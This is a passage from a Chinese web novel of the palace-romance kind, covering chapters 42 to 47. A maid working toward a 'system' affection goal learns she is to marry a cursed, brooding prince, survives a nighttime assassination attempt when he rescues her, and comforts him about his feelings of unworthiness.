【当前积分:5530】
林晚眼中瞬间爆发出惊喜的光芒,几乎要掩饰不住。她立刻扬起一个灿烂的笑容,对着书案后的云烬,清脆地唤了一声:
“师傅!”
“谁准你乱叫的?”云烬的声音冷了下来,“我只是心情好,随便教你点什么……”
“别叫师傅,听不惯。”
切!林晚在心里朝着云烬翻了一百个白眼,怎么这么傲娇?
云烬挥挥手,像是要赶走一只聒噪的苍蝇,沉声喝道:“出去。”
“二哥!我来看你啦!”
一个清朗欢快的声音从静心苑外传来,瞬间打破了书房内的气氛。
“吱呀”一声,书房的门被人大力推开。
是身着宝蓝色锦袍、面容俊朗、眉眼间带着少年人特有的跳脱飞扬的三皇子云瀚,风风火火地闯了进来,脸上洋溢着灿烂的笑容。
“二哥!你身体好些了吗?”
第一卷 第42章 大展厨艺
“二哥!你身体好些了吗?”
云瀚风风火火地闯进来,脸上洋溢着灿烂的笑容,目光却飞快地在云烬和林晚之间扫了个来回。
云烬抬眸,眼神依旧清冷,只是对着云瀚时,那份拒人千里的寒意似乎淡了一分:“嗯。”
云瀚大大咧咧地走到书案前,拖了张椅子坐下,脸上带着一丝歉意:“二哥,前阵子的事我听说了,凶险万分!我……”
他话说到一半,突然顿住,目光瞥向旁边端着空碗、正打算默默退出去的林晚。
意思很明显,有些话不方便当着外人说。
“无妨。”云烬的声音平静无波,打断了云瀚的迟疑。
“无妨?”云瀚明显愣了一下,脸上露出难以置信的神色,他看看云烬,又看看林晚,试探着问:“难道……她……已经知道了?”
他指的是朔月之夜的秘密。
云烬的目光也随之落在林晚身上,那双深邃的眼眸里情绪难辨,似乎在审视,又似乎在衡量着什么。
林晚被他看得心头一跳,下意识地瞪了他一眼,撇过头去,心里嘀咕:看我干嘛?我又没乱说!
云烬的视线在林晚撇过去的侧脸上停留了一瞬,右手无意识地往宽大的袖口里缩了缩。
他收回目光,对云瀚道:“你继续说。”
云瀚虽然满心疑惑,但见二哥如此表态,便也放下心来,只是看向林晚的眼神多了几分不可思议。
他叹了口气,语气带着真诚的歉意:“二哥,我听说朔月前两日你大病一场,我担心得不得了!”
“本来想着那晚无论如何也要来静心苑看看,看能不能帮上点忙……结果,我母后硬是把我扣在宫里,说什么也不让我来!”
“宫里那些人……唉,二哥你也知道,他们对这事还忌惮得很,风声鹤唳的……”
他顿了顿,语气低沉下来:“二哥,你别怪我母后,也别怪宫里……他们也是……”
“无妨。”
云烬再次打断他,声音依旧平淡,双眼微眯,似乎想起了经年旧事,“这么多年,早都习惯了。”
林晚站在一旁,听着云瀚话语里的无奈和云烬那句轻飘飘却重若千钧的“习惯了”,心里莫名的有些不是滋味。
她低着头,手指无意识地摩挲着光滑的碗沿。
云瀚见气氛有些沉闷,连忙打起精神,仔细打量着云烬:“不过二哥,看你今天气色倒是不错,精神头也还行,比我想象中好多了!”
他目光转向林晚,脸上重新挂起笑容,带着几分赞许,“看来是林晚姑娘把你照顾得不错啊!”
这话一出,林晚和云烬都是一愣。
林晚没想到话题突然转到自己身上,还带着夸奖,一时有些无措。
云烬则是眉头蹙了一下,随即恢复冷淡,语气带着惯有的刻薄:“我这吃穿用度,跟以往一模一样,何来照顾不错之说?”
“倒是有些人,在我这静心苑白吃白住,不务正业,整日里琢磨些修炼术法,半点忙都帮不上。”
云烬的矛头直指林晚。
林晚一听,火气“噌”地就上来了。
她抬起头,叉着腰,毫不客气地回怼:“有些人说话可要凭良心,别忘了是谁前两日躺在那里不省人事,烧得跟块炭似的!”
“又是谁醒了没事了就开始倒打一耙,过河拆桥?”
她故意把“不省人事”几个字咬得特别重,眼神挑衅地看着云烬。
云烬的脸色瞬间沉了下来。
他缓缓站起身,绕过书案,一步步朝林晚走去,月白色的衣袍无风自动,带着一股无形的压迫感。
他走到林晚面前,微微俯身,那张俊美却苍白的脸凑近,冰冷的视线锁住她,嘴角勾起一抹危险又玩味的弧度:
“哦?看来你对照顾我这件事……很有怨言?”
他的声音压得很低,带着一丝丝凉意,气息拂过林晚的耳畔,“还是说……你更喜欢看我‘不省人事’的样子?”
“嗯?”
那最后一个“嗯”字,尾音微微上挑,带着十足的挑衅和病态的情绪,让林晚的心跳瞬间漏了一拍,脸颊不受控制地泛起红晕。
她下意识地想后退,却被云烬身上那股迫人的气势钉在原地。
“我……我才没有!”林晚强自镇定,但声音里还是泄露了一丝慌乱。
她眼角的余光瞥见旁边一脸看好戏的云瀚,立刻像抓住了救命稻草:“三殿下!您看!殿下他……”
云瀚自然熟悉自己二哥的性子,那毫不掩饰的“病娇”气场早都司空见惯,从前在宫里也是这般。
他看戏看得正热闹,见林晚求救,连忙打圆场:“哎哎,二哥,林晚姑娘照顾二哥辛苦,二哥你也别太……太严厉了嘛!”
“林晚姑娘,我二哥他就这脾气,刀子嘴豆腐心,你别往心里去……”
“呵。”云烬发出一声意味不明的冷笑,目光凉凉地扫向云瀚,“亲兄弟胳膊肘往外拐?”
林晚被云烬对云瀚的质问,和云瀚明显“和稀泥”的态度气得够呛,她看着眼前这“兄弟情深”的一幕,只觉得一股闷气堵在胸口。
她没好气地小声嘀咕了一句:“是是是,我现在就去‘务正业’,惹不起您二位!”
声音不大,但足够让近处的两人听清。
她端着空碗,转身就往外走,脚步带着点负气的意味。
不过,就在她转身的瞬间,一个念头如同电光火石般闪过林晚的脑海。
既然云瀚和云烬关系如此亲近,自己若是能和这位三皇子搞好关系,岂不是相当于在云烬身边安插了一个“盟友”?
这对刷云烬那难如登天的好感度,绝对是百利而无一害啊!
想到这里,林晚的脚步在门口顿住了。
她深吸一口气,压下刚才的不快,脸上努力挤出一个还算得体的笑容,重新转过身来,对着屋内的两人,语气变得格外客气:
“二殿下,三殿下,”她微微俯身行礼,“我方才想了想,觉得三殿下难得来一趟静心苑,不如……留下来用晚膳吧?我刚刚学会了几个新菜式,正好可以请三殿下尝尝鲜。”
这话一出,云烬和云瀚都愣了一下。
云烬那双深邃的眼眸里闪过一丝诧异,显然没料到林晚的态度会一百八十度大转弯。
他微微蹙眉,目光落在林晚脸上,似乎在探究她这突如其来的殷勤背后藏着什么其他意图。
但林晚态度诚恳,一时间也看不出什么来,他什么也没说,只是将目光转向了云瀚,眼神里带着征询的意味,让云瀚自己决定。
云瀚倒是反应很快,脸上立刻绽开灿烂的笑容,连连点头:“好啊好啊!我正好没什么急事!那就麻烦林晚姑娘了!正好我也尝尝你的手艺!”
“那我这就去准备。”
第一卷 第43章 深夜召见
“那我这就去准备。”
林晚应了一声,端着碗退了出去,心里暗暗给自己鼓劲:计划通!
林晚一头扎进小厨房,看着里面有限的食材,盆里的鱼,几样时令蔬菜,一块不算太肥的猪肉,几个鸡蛋,还有一些米面调料。
她快速在脑子里盘算着:清蒸鱼,红烧肉,炒个青菜,做个肉末蒸蛋,再摊几张葱花饼,熬个简单的粥……
天色渐渐暗了下来,厨房里飘散出诱人的饭菜香气。
林晚手脚麻利,很快就把几道菜做好了。她擦了擦额角的细汗,端起那碗晶莹剔透的红烧肉,准备先送过去。
刚走出厨房,端着碗往正屋走,她的目光不经意扫过回廊的拐角处,脚步不由得一顿。
只见云瀚正和小翠站在廊下阴影里,两人似乎在低声交谈着什么。
小翠侧对着林晚的方向,看不清表情,云瀚微微低着头,侧脸显得有些严肃,完全不像平时那副阳光跳脱的模样。
而小翠则时不时点着头,双手紧张地绞着衣角。
林晚心中疑窦顿生,他们俩在说什么?
就在这时,小翠似乎察觉到了什么,猛地一抬头,正好看见了端着盘子走过来的林晚。
她脸上瞬间闪过一丝慌乱,匆匆对着云瀚行了一礼,然后低着头快步朝林晚这边走来。
“林晚姐!”小翠走到近前,声音带着一丝紧张。
“嗯,”林晚应了一声,目光探究地看着她,“你刚才……跟三殿下在说什么呢?我看你们聊得挺……认真的。”
小翠的眼神明显躲闪了一下,支支吾吾地解释道:“没……没什么。就是……就是三殿下问了我几句……关于殿下身体恢复的情况……关心一下……”
林晚心里暗道不对,不可能是关心云烬的身体,刚才在书房里已经问过了,而且云瀚那副神情,可不像是在闲聊家常。
而且她太了解小翠了,这丫头根本不会撒谎,一撒谎就眼神乱飘,手指头绞个不停。
“是吗?”林晚没有立刻拆穿,只是淡淡地说,“那我们先去把菜给他们送过去吧,别让殿下们等急了。”
“好……好的。”
两人将饭菜一一摆上桌。
云瀚已经恢复了那副阳光开朗的样子,对着菜肴赞不绝口。云烬则依旧是那副淡漠的模样,一口菜一口肉地吃着。
林晚见二人吃得欢,就拉上小翠退了出来。一回到她们俩住的小屋,林晚立刻关上了门,脸上的笑容瞬间消失,变得异常严肃。
“小翠,”她盯着小翠的眼睛,“你真的很不会撒谎。告诉我,刚才三殿下到底跟你说了什么?你们俩的神情,可不像只是在聊殿下的身体。”
小翠的脸一下子扭了起来,她咬着嘴唇,眼神慌乱地四处乱瞟:“林晚姐,你别问了,反正不是什么坏事!或许……或许明天你就知道了……”
“明天?”林晚的心猛地一沉。
这种含糊其辞、语焉不详的回答,反而让她更加好奇了。
她上前一步,抓住小翠的手腕,继续追问:“小翠,我们是不是好姐妹?到底是什么事?是不是跟殿下有关?”
她一连串的追问,带着姐妹情谊的要挟,让小翠非常为难:“哎呀!林晚姐,我告诉你也可以,但是你千万要冷静啊!”
小翠深吸一口气,狠狠咽了一下口水,刚要开口——
“砰!”
房门被猛地推开!
刘嬷嬷那张严肃的脸出现在门口,她的目光先是扫了一眼屋内的两人,最后目光停在小翠身上,带着一丝责备,仿佛在怪她多嘴。
然后,刘嬷嬷才转向林晚,声音平淡:
“林晚,皇贵妃娘娘有请,即刻过去一趟。”
“过阵子你便知晓”,那晚皇贵妃的这句话,顿时在林晚的脑中炸响,她意识到皇贵妃深夜召见,或许就跟这件事有关。
林晚跟在刘嬷嬷身后,脚步沉重地踏出静心苑。
这条通往别院前山的小径,她曾无数次走过,或洒扫,或采买,或只是匆匆路过,但从未有一次,像此刻这般,觉得这条路如此漫长而压抑。
无数猜测在她脑海中翻腾,让她手心微微沁出冷汗,她不知道皇贵妃娘娘究竟先让她干什么,她下意识地摸了摸脖颈间尚未完全消退的淡红指痕。
刘嬷嬷步履沉稳,一言不发,只在前方引路。
林晚也不敢多问,只能将满腹的疑虑和不安压在心底。
皇贵妃的居所——广宁宫,位于别院另一处更为清幽僻静的地方,林晚从未踏足过此地。
两人走了许久,绕过几处精致的亭台楼阁,终于在一座巍峨却略显清冷的宫殿前停下。
朱漆大门紧闭,檐角高挑,雕梁画栋依稀可见昔日的华美,但门前的石阶缝隙里已生出几处青苔,廊柱上的金漆也有些斑驳脱落。
一股难以言喻的、被时光和权力边缘化的寂寥气息扑面而来。
林晚抬头望着这座宫殿,心中莫名泛起一丝酸涩,这就是当朝皇贵妃的居所?
若是在那繁华似锦的皇宫里,这位身份尊贵的娘娘,只怕是何等的风光……
“娘娘就在殿内,你自行进去吧。”刘嬷嬷的声音打断了林晚的思绪,她停在殿门前,侧身让开,目光复杂地看了林晚一眼。
林晚深吸一口气,努力平复狂跳的心脏,对着刘嬷嬷微微行礼,然后伸手,轻轻推开了那扇沉重的宫门。
“吱呀——”
门轴转动的声音在空旷院落里显得格外清晰。
一条路直通正殿,抬眼望去,殿内光线有些昏暗。林晚低着头,小心翼翼地迈过门槛,视线只敢落在脚下光洁的地砖上。
她不敢抬头,径直走到正殿中央,对着前方模糊的身影,深深行礼:“奴婢林晚,拜见皇贵妃娘娘。”
“起来吧。”
林晚依言起身,依旧垂着眼帘,恭敬地站在下方。
“你们都下去吧。”皇贵妃的声音再次响起,是对着殿内侍立的宫女。
“是。”一阵细碎的脚步声后,殿内彻底安静下来,只剩下林晚和皇贵妃两人。
林晚鼓起勇气,微微抬起眼帘,飞快地瞥了一眼上首。
皇贵妃端坐在一张铺着锦垫的紫檀木椅上,穿着一身素雅的宫装,发髻梳得整齐精致,只簪着一支简单的玉簪,面容依稀可见年轻时的绝色风华。
她的目光平静,却仿佛能穿透人心,此刻正落在林晚身上。
“林晚,”皇贵妃缓缓开口,声音不高,却字字清晰:
“本宫前些日子跟你说的,你可还记得?”
第一卷 第44章 赐婚
“林晚,”她缓缓开口,目光如同实质般落在林晚身上,“本宫前些日子跟你说的,你可还记得?”
林晚的心猛地一缩,她当然记得!
前些日子,皇贵妃的那句“过阵子你便知晓”,始终是林晚心里的一块石头,此刻终于要落下了吗?
她强压下翻涌的思绪,恭敬地垂首,声音尽量平稳:“回禀皇贵妃娘娘,奴婢记得。”
“嗯。”
皇贵妃微微颔首,指尖轻轻地摩挲着木椅光滑的扶手,仔细打量着眼前这个静心苑的丫鬟。
短暂的沉默后,她看向林晚,语气变得锐利:“既如此,本宫也不与你绕弯子,说那些冠冕堂皇的虚话了。”
她顿了顿,目光直视着林晚的眼睛,一字一句清晰地说道:“本宫要你,嫁给烬儿,做祁王妃。”
轰——!
林晚只觉得脑中仿佛炸开了一道惊雷,瞬间一片空。
她猛地抬起头,难以置信地看向皇贵妃,脸上血色尽褪。
嫁给云烬?做祁王妃?
这突如其来的旨意,一方面因为,她要出嫁的对象是那个阴晴不定、身负魔气的二皇子云烬。
但另一方面,也是最让林晚觉得不可以死的,是这桩婚事本身就存在的荒谬性。
她是谁?一个身份卑微、来历不明的洒扫丫鬟!
云烬是谁?当朝皇子,祁王殿下!这简直是云泥之别!
皇帝陛下……怎么可能允准这样一桩根本门不当户不对的,甚至可以说是惊世骇俗的婚事?!
皇贵妃似乎看穿了林晚心中的惊涛骇浪,她眼睛微眯,透出沉重的心事。
“烬儿他……”皇贵妃的声音低沉下去,带着难以掩饰的痛楚,“身为皇子,却背负着常人难以想象的命运枷锁。”
“这五年,本宫眼睁睁看着他的意志如何被消磨,看着他如何将自己放逐在这死寂的静心苑,如同一潭逐渐干涸的死水……”
她望向窗外沉沉的暮色,仿佛透过虚空看到了那个孤独而痛苦的身影。
“这别院,太冷,太清了……冷得没有一丝人间烟火,清得看不到一点希望……”
皇贵妃的声音越说越小,甚至快赶不上烛火的噼啪声大。
“所以本宫想着,若是静心苑中有女子能上下打点布置些,或许……或许能给他这死水般的生活,注入一丝活气……”
“让他能……重新振作起来。”
皇贵妃收回目光,重新看向林晚,眼中竟然流露出一丝微弱的期盼。
“可本宫又何尝不知,烬儿身上系着大胤王朝的绝密!这等隐秘,岂能让外人轻易靠近?”
“别说这满朝文武,就算乡野女子,皇上都不可能准许任何一个外人接近烬儿!”
“从前本宫也曾试探过皇上的心意,无一例外,都被一口回绝。”
她的语气带着深深的无奈和挫败,正如她所说,就算云烬尚在朝野,也注定独守一身秘密,孤独终老。
“所以,本宫只能退而求其次,瞒着皇上,偷偷将你和小翠派到了静心苑。”
“原也只是存着一丝渺茫的念想,想着若有心思灵巧、能近身伺候的,或许能稍稍缓解烬儿的孤寂……却不曾想,老天终究是开了一线怜悯。”
皇贵妃的目光落在林晚身上,她的脸上,也终于浮上了一丝喜色。
“林晚,你的所作所为,出乎了本宫的意料。”
“后山的静心苑,因你,竟真的……有了一丝生气。更让本宫难以置信的是,烬儿他……竟允许了你的接近。”
她深吸一口气,语气带着一种破釜沉舟的决绝:“所以这一次,本宫亲自进宫,向圣上禀明了你在朔月之夜‘大难不死’的前后经过……”
“或许是苍天垂怜,或许是皇上还念及父子之情,竟真的……下了这道赐婚的圣旨。”
林晚静静地听着,心中却掀起了惊涛骇浪。
荒谬!这一切都太荒谬了!
她感觉自己像一枚被精心挑选、投入棋局的棋子。
从被派来静心苑的那一刻起,她的一举一动,或许都在皇贵妃的算计之中。
一股难以言喻的荒谬感和被操控的愤怒在她心底滋生。
然而,这股愤怒很快被另一种更强烈的情绪覆盖——心寒。
为云烬而感到心寒。
那个在朔月之夜痛苦挣扎、被魔气吞噬、甚至险些亲手扼死她的男人;
那个背负着沉重枷锁、被皇室视为禁忌、放逐在这荒凉别院的皇子……
纵然他失控错杀了公主,但他所有的痛苦和牺牲,却依旧换不来安稳的人生,非要被逼到走上自杀的路吗?
莺莺燕燕的皇宫深处,歌舞升平的背后,是他独自一人扛起了整片阴影,承受着非人的折磨!
而这些人,他的亲人,他的父亲……竟无动于衷?!
一种复杂的情绪涌上林晚的心头,甚至涌现出了一种说不清道不明的责任感,如同岩浆般在她胸中奔涌。
她没有愤怒地拒绝,也没有惶恐地推辞。
在皇贵妃带着期盼和审视的目光中,林晚缓缓地、深深地吸了一口气。
她抬起头,迎上皇贵妃的目光,那双清澈的眼眸里,此刻燃烧着一种近乎悲壮的火焰。
她的声音不大,却异常清晰、坚定,带着一种斩钉截铁的决然:
“娘娘放心。”
“奴婢……林晚,领旨谢恩。”
她微微一顿,每一个字都仿佛带着千钧之力:
“奴婢定当竭尽全力,让殿下振作起来。”
林晚的目光似乎穿透了广宁殿的屋顶,望向了那遥远而冰冷的皇宫深处。
皇贵妃微微一怔,她没有想到林晚是这样的反应,而林晚接下来的话,更是让她心中大震。
“将来,奴婢定要陪着殿下,风风光光、正大光明地回到皇宫里去!”
话音落下,大殿内一片死寂。
皇贵妃看着眼前这个眼神决绝的少女,眼中闪过极其复杂的震撼,一时语塞。
片刻后,仿佛是被林晚的承诺所触动,皇贵妃的眼神涌上复杂的神色,眼神迷离,不知道在盘算什么。
她没有说话,只是缓缓地点了点头。
第一卷 第45章 又不是第一次了
事已至此,林晚别无选择。
但她心底还有两个疑问——“云烬自杀”和“魔气”,于是她小心翼翼地开口询问皇贵妃:
“娘娘,奴婢心里还有诸多疑问……”
“你既如此有信心,”皇贵妃不等林晚说完,直接出声打断,“何须问我?”
林晚明白皇贵妃的意思,是叫她亲自从云烬那里获得答案。
这也是系统给她发布的任务,如果她能获得,自然说明她的确有点本事。
林晚怀着沉重的心情,出了广宁殿。
站在殿前的石阶上,林晚长长地舒了一口气,她看了一眼系统面板:
【宿主:林晚】
【身份:二皇子别院·静心苑·正室洒扫(特许)】
【目标:云烬(二皇子)】
【当前好感度:27%】
【污染值:???(权限不足)】
【积分:5530】
【任务倒计时:159天 2小时 26分】
【阶段任务:谜团初解(进行中)】
夜风带着深秋的寒意,丝丝缕缕渗进她的胸口,吹得单薄的内衫紧贴在身上,激得她打了个冷颤。
来时跟在刘嬷嬷身后尚不觉得,此刻独自一人踏上返回静心苑的后山小路,竟然有点阴森可怖。
大概是心境所致。
今夜云层很厚,层层笼住月光的同时,也蒙在林晚的心上。
偶尔透云而出的月光,被浓密的树冠切割得支离破碎,在地上投下扭曲晃动的黑影。
四周寂静无声,只有她自己的脚步声在空旷的山路上回响,每一步都像是踩在她自己紧绷的神经上。
她下意识地裹紧了衣襟,防止秋风继续吹进她的胸口,就好像这样能抵御那从心底蔓延开来的寒意。
就在她心神恍惚之际——
“唰!”
一道黑影如同鬼魅般,毫无征兆地从路旁茂密的树丛中暴射而出。
速度快到留下一道残影,带着凌厉的杀意,直扑林晚的后心!
林晚浑身的汗毛瞬间倒竖,她反应也算灵敏,在千钧一发之际猛地向侧面一躲。
“呼——!”
带着劲风的黑影几乎是贴着她的后背掠过,冰冷的杀意让她后颈的皮肤瞬间起了一层鸡皮疙瘩。
“谁?!”
林晚厉声喝道,强行压下狂跳的心脏,迅速稳住身形,转身面向袭击者。
月光下,袭击者一身紧束的黑色夜行衣,脸上蒙着黑巾,只露出一双眼睛。
那双眼睛在惨淡的月光下闪烁着冰冷的光芒,没有任何情绪,只死死盯着林晚,如同盯上猎物的豺狼。
黑衣人一击落空,似乎有些意外,但动作没有丝毫停顿。
他右手闪电般从腰间一抹,一柄寒光闪闪的短匕已然在手,匕刃在月光下反射出森冷的白光,晃得林晚眼睛一眯。
没有废话,没有迟疑,黑衣人脚下一蹬,再次化作一道黑色利箭,匕尖直指林晚的咽喉。
林晚瞳孔骤缩,死亡的阴影瞬间笼罩。
她试图后退闪避,但对方的速度太快,那点寒芒在她眼中急速放大。
就在匕尖即将触及林晚皮肤的刹那——
“嗖!”
一道身影以更快的速度从侧旁的阴影中冲出,带着凌厉的破空声,一记鞭腿如同钢鞭般狠狠扫向黑衣人的腰腹。
黑衣人显然没料到还有第三人,反应极快,他硬生生止住前冲之势,猛地转身,双臂交叉,护在身前。
“嘭!”
沉闷的撞击声响起,黑衣人格挡的双臂被这一脚蕴含的巨大力量震得发麻,整个人不受控制地向后踉跄退去。
而那飞冲而来的身影,借着格挡的反震之力,身体在空中一个利落的后空翻,稳稳落在地上,挡在了林晚身前。
月光勾勒出他挺拔却略显单薄的身影,玄色衣袍在夜风中微微拂动。
是云烬!
他怎么会在这里?!
林晚惊魂未定地看着挡在自己身前的背影,心中满是劫后余生的庆幸,和一丝丝疑惑。
黑衣人被云烬一脚逼退三步才稳住身形,眼中闪过一丝惊疑。
他显然认出了来人,知道今夜事不可为。
没有丝毫犹豫,他身形猛地一转,不再攻击林晚,而是反手朝着她的方向甩出两道乌光!
是暗器!
角度刁钻,速度奇快!
“小心!”林晚惊呼出声。
云烬眼神一厉,几乎在黑衣人甩手的瞬间,他右脚脚尖迅疾无比地在地上一勾一踢。
“咻!咻!”
两颗小石子如同离弦之箭,精准无比地迎向那两道乌光。
“叮!叮!”
两声清脆的撞击声几乎同时响起,那两枚致命的暗器被石子击中,轨迹一偏。
“哆!哆!”
最终深深钉入了路旁一棵粗壮古树的树干上。
而就在这电光火石之间,那黑衣人早已借着甩出暗器的掩护,身形一晃,如同融入夜色般,几个起落便消失在密林深处,再无踪迹。
云烬上前拔下了那两枚暗器,拿在手里细细观察,眉头紧皱,不知在思考些什么。
见那人离开,林晚紧绷的神经才得以松解下来,一股强烈的后怕如同潮水般涌上心头。
“殿下,那是谁?”林晚疑惑地问道,这里毕竟是皇家别院,一般毛贼可不敢来这里。
“为什么能在皇家……”
话还没说完,惊魂未定的林晚脚下一个趔趄,让她双腿一软。
她下意识地想后退一步稳住身体,却不料右脚踝猛地传来一阵钻心的剧痛。
“啊!”
她痛呼一声,身体失去平衡,眼看就要重重摔倒在地。
就在这时,云烬突然出现在林晚的身后,用一只手臂轻轻揽住了她的腰,将她即将倾倒的身体稳稳扶住。
“谢……谢谢殿下”
林晚试着动了动右脚,又是一阵尖锐的疼痛袭来,让她倒吸一口凉气。
看来是无法站立了,疼痛间,身体更不由自主地往云烬身上靠去。
云烬感受到她身体的重量和颤抖,低头看了看她痛苦蹙眉的样子,又看了看她明显无法着地的右脚。
他微微俯身,另一只手环上林晚的双腿,手臂一用力,竟直接将林晚抱了起来。
“啊!”
林晚惊呼一声,身体骤然悬空,落入一个带着淡淡冷意的怀抱。
她瞬间僵住,脸颊不受控制地飞起两朵红云。
“殿……殿下!放我下来!我自己能走!”
“别动。”
云烬的声音冷冰冰的,抱着她的手臂纹丝不动:
“要是乱动摔下去,我可不负责。”
他顿了顿,低头瞥了她一眼,那眼神里带着一丝林晚熟悉的嘲弄:
“况且,又不是第一次了。”
第一卷 第46章 发乎本心
第一次在清醒的状态下被云烬抱着,这一路上林晚的心快要从喉咙里跳出来了。
知道挣扎没用,林晚反而安静下来,就这么一路被抱着回到了静心苑。
穿过寂静的回廊,回到丫鬟住的厢房,云烬将她轻轻放在床榻上,动作间甚至带着一些谨慎。
“放心睡吧,在这静心苑,很安全。”
云烬说完话,没有丝毫停留的意思,转身离去,那扇薄薄的门板在他身后合拢,隔绝了林晚的视线。
房间里只剩下她一人,以及那盏摇曳的烛火。
“他……会怎么做?”林晚的心沉甸甸的,自然是在纠结那道赐婚的圣旨,在云烬眼里会怎么处理。
按照云烬那孤僻、厌世又别扭的性子,抗旨拒婚几乎是板上钉钉的事情。
她几乎能想象他亲自面圣时,那副冰冷决绝的模样。
若真如此,她今日在皇贵妃面前那番掷地有声的承诺,岂不成了天大的笑话?
苦涩和无力感袭来,她是为了任务,为了回家才接近他的。
可如今,这桩强加于身的婚事,竟让她生出了几分真切的担忧,若是他真的让皇上收回了旨意,之后的相处只怕会更加艰难。
就在她思绪纷乱之际,门外,那个清冷低哑的声音穿透门板,清晰地传入她耳中:
“若你不愿,明日……我便进宫,求父皇收回旨意。”
林晚猛地一颤,他还没走?
而且他竟然……会说出这样的话?
她几乎是屏住了呼吸,试探着问:“你……都知道了?”
门外沉默了片刻,才传来回应,带着一丝无奈和自嘲:“云瀚那傻小子,几杯黄汤下肚,便什么都兜不住了。”
又是一阵长久的沉默,静得能听到烛火燃烧的噼啪声。
林晚几乎以为他已经离开了,正想松一口气,那声音却再次响起:
“我深知……我这样的人,根本不配有任何人在身边。”
“不论是母后,还是兄弟……还是……”后面的话,他似乎难以启齿,最终化为一声几不可闻的叹息。
“无关的人,都不该被拖入我这泥沼之中。”
这沉重的自厌,像冰锥刺入林晚心底。
她想起祠堂里他无声的泪,想起朔月之夜他眼中那破碎的清明,想起他胸口那如同诅咒般的紫黑魔气……
他把自己当成了什么?一个只配在黑暗中腐烂的怪物吗?
一股莫名的冲动涌上心头,压过了之前的顾虑和算计。
她几乎是脱口而出,声音不大,却异常清晰坚定:
“殿下此言差矣!”
她深吸一口气,组织着语言,试图将那份现代人关于情感平等的认知,深深灌输进云烬的脑中:
“情之所至,发乎本心,何来配与不配之说?”
“世间万物,皆有情愫牵连。父母舐犊,兄弟手足,乃至萍水相逢,皆可生关怀之意,怜惜之心。”
“此乃天性,非人力所能强求,亦非身份所能禁锢。”
她顿了顿,声音愈发清晰,带着一种穿透人心的力量:
“殿下只道自己不配,却可曾想过,关心你之人,亦是情难自禁?”
“皇贵妃娘娘的慈母之心,三殿下的手足之情,甚至……甚至静心苑中,亦有人因你之痛而忧,因你之安而喜。”
“这份心意,非因你是皇子,非因你身负何物,只因你是你!”
“它不由你掌控,亦不由你拒绝。正如日升月落,草木荣枯,乃是天地间最自然不过的道理。”
林晚自己都没意识到,竟然说出这样一番话,她深吸一口气,缓了缓情绪。
门外,陷入了死一般的寂静。
林晚等了许久,再未听到任何回应,只有夜风吹过窗棂的细微声响。
他走了。
她靠在床头,心绪复杂难言。
方才那番话,与其说是为了任务,不如说是她此刻最真实的心声。
看着枕边那枚在黑暗中静静躺着的墨玉铃,林晚第一次清晰地意识到,她是真的想帮云烬一把。
想把他从那片名为“不配”的绝望泥沼里拉出来,哪怕只有一点点光亮也好。
不是为了积分,不是为了回家,仅仅是因为……她想这么做。
无论结局如何。
翌日清晨,林晚尚在睡梦之中,便被一阵急促的摇晃和兴奋的低呼惊醒。
“林晚姐!林晚姐!快醒醒!”
小翠那张放大的、写满了八卦和兴奋的脸近在咫尺。
林晚迷迷糊糊地睁开眼,含糊道:“怎么了……大清早的……”
“我昨晚又看到了!”
小翠压着嗓子,却掩不住语气里的激动:“你又让殿下抱回来了!就在我起夜的时候!殿下抱着你,从正屋那边走过来,那样子……啧啧啧!”
林晚揉了揉惺忪的睡眼,下意识地嘟囔了一句:“哦……抱就抱了呗,又不是第一次了……”
语气平淡得仿佛在说今天天气不错。
小翠被她这反应噎了一下,随即眼睛瞪得更圆了:“什么叫‘又不是第一次了’?林晚姐!你跟殿下……你们……”
她激动得有些语无伦次,林晚被她吵得彻底清醒过来。
看着小翠那副“我发现了惊天大秘密”的表情,她坐起身,目光却变得锐利起来,直直地盯着小翠的眼睛。
“小翠,”林晚的声音平静,却非常严肃,“你是不是……早就知道了?”
小翠脸上的兴奋瞬间僵住,眼神开始飘忽不定,手指不自觉地绞着衣角:“啊?知……知道什么?我不知道啊……”
“看着我。”林晚的声音沉了下来,“你是不是早就知道,皇贵妃娘娘安排我和殿下的婚事了?”
小翠的脸色“唰”地一下白了,嘴唇动了动,想否认,但在林晚洞悉一切的目光下,她那点道行根本不够看。
慌张的神情彻底出卖了她。
林晚叹了口气,语气带着点无奈:“昨晚你和三殿下在角落里嘀嘀咕咕,我就觉得不对劲。”
小翠的头垂得更低了,声音细若蚊呐:“是三殿下,他昨天跟我打听你……然后三殿下自己说漏嘴了,我才知道的……”
她抬起头,眼圈有些发红,带着恳求:“林晚姐,你别生气……”
看着小翠这副又怂又委屈的模样,林晚心里的那点怀疑和微恼也消散了。
“行了行了,”林晚摆摆手,语气缓和下来,“我没生气。”
小翠连连点头:“嗯嗯!谢谢林晚姐!”
第47章 起雾了
林晚送走了小翠,困意竟然再度袭来。
纵然有云烬说的“在这静心苑,很安全”,她这一夜还是睡得并不踏实。
一方面当然是因为昨夜差点被刺杀,另一方面,更是心惊于能潜入皇家别院的刺客,不知道到底是何方神圣。
但不论如何,她都没有任何退路,不管是为了完成任务回家,还是许下的承诺,她只能继续往前走。
收拾好纷乱的心绪,她站起身感受了一下,睡了一觉,脚腕的痛感减轻了不少。
于是,她像往常一样走进药房。
炉火舔舐着紫砂药罐,苦涩的药香弥漫开来,竟让她感到一丝奇异的安定。
她熟练地滤出药汁,倒入温润的白玉碗中,端着托盘走向正屋。
推开沉重的黑檀木门,屋内光线尚显昏暗。
林晚一眼便看见云烬背对着她,静静伫立在敞开的窗边。
他身姿挺拔,玄色锦袍衬得背影愈发孤寂,目光投向远处后山的方向,不知在想些什么,似乎连她进来的脚步声都未曾察觉。
林晚端着托盘,放轻脚步走到他身侧稍后处,垂首轻声道:“殿下,该喝药了。”
云烬没有回头,只是缓缓伸出手,端起药碗,他动作流畅,眉头都未曾皱一下,便将深褐色的药汁一饮而尽。
放下空碗,他依旧维持着原来的姿势,目光沉沉地锁在后山那片被薄雾笼罩的山峦间。
林晚顺着他的目光望去,晨雾如轻纱般缭绕在山间,层层叠叠,将远方的景致晕染得模糊不清,只能隐约看到近处几株古树的轮廓。
这景象与往日并无太大不同,只是今日的雾气似乎更浓重些。
“殿下在看什么?”林晚忍不住轻声问道,她总觉得他今日的沉默里,藏着比平日更深的东西。
“起雾了。”云烬的声音平淡无波,听不出情绪。
林晚有些不解:“晨雾向来如此,殿下又不是第一次看到了。”
在她看来,这不过是山间再寻常不过的自然景象。
云烬没有立刻回答。
他缓缓转过身,靠近林晚,目光落在她的脸上,那眼神深邃,仿佛能穿透她强装的平静,看到她心底残留的惊惶。
